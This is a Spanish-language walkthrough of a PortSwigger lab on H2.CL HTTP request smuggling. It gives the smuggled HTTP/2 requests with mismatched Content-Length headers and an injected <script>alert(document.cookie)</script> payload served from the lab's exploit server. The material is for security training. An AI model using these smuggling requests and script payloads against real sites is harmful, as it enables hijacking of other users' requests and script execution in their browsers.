> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/h2-cl-request-smuggling.md).

# Contrabando de solicitudes H2.CL

Notas de Contrabando de solicitudes H2.CL para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Smuggling de solicitudes H2.CL

Este laboratorio es vulnerable a **smuggling de solicitudes** porque el servidor de front-end degrada **HTTP/2** las solicitudes incluso cuando tienen una longitud ambigua.

El objetivo es llevar a cabo un ataque que permita al navegador de la víctima cargar y ejecutar un **archivo JavaScript de malware** alojado en el servidor de exploits, que contiene:

```javascript
alert(document.cookie)
```

El usuario víctima visita la página de inicio cada **10 segundos**.

#### **Cambiar un 404 mediante smuggling**

Se requiere una incoherencia de longitud para provocar un **404 No encontrado**:

```http
POST / HTTP/2
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 14

test=testing
GET /error/ HTTP/1.1
Host: 0a8c00880499cdd181ae9d4900ed000f.web-security-academy.net
Content-Length: 11

test=test
```

#### **Análisis del comportamiento de la aplicación**

La página carga automáticamente un script:

`resources/js/analytics.js?uid=3309545055`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-891ea3f240710cfe5aa82acfce9afcfd13318829%2F%7BF62B3C60-F05D-4E6D-87F7-F140517019A5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Este script genera un identificador aleatorio y envía una consulta a:

```javascript
/analytics?id=<random value>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1a7d73012ac3607cf6d865fe67beccb0816c2364%2F%7BD9860077-F17F-43EA-A3C6-9F38AC3C193D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Extracto de la función:

```javascript
function randomString(length, chars) {
    var result = '';
    for (var i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
    return result;
}
var id = randomString(16, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
fetch('/analytics?id=' + id)
```

#### **Observación de rutas aceptadas**

Una consulta ocultada a:

```http
GET /resources HTTP/1.1
Host: test.com
Content-Length: 11

test=test
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e587ab28f5befefae1e21b4ed5c43b7b4757720c%2F%7BE415EF65-91A1-46D2-8CA6-45BAD213BACA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

es aceptada.

En cambio, otras rutas no lo son.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83720fb669762d685b9d5dd6dd3faa4e4a202ea9%2F%7BBE9B35B3-50E4-40C7-B98B-9AB38093AD5E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### **Inyección de script malicioso**

Colocamos nuestro payload en el archivo proporcionado por el servidor de exploits:

* nombre de archivo: **resources**
* contenido del cuerpo:

```javascript
<script>alert(document.cookie)</script>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c49dc90301826db9d92bb4a758c1778b4c5d6a9d%2F%7BD8286DCB-E2EE-4DD9-B016-FA707D66A69D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La víctima es redirigida a este archivo y el navegador ejecuta la alerta, confirmando la explotación.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-007655840ce8f240b6730b13dbb167711acb9a0a%2F%7BBF87F632-9D21-4148-8EF4-51A8CF572AE1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


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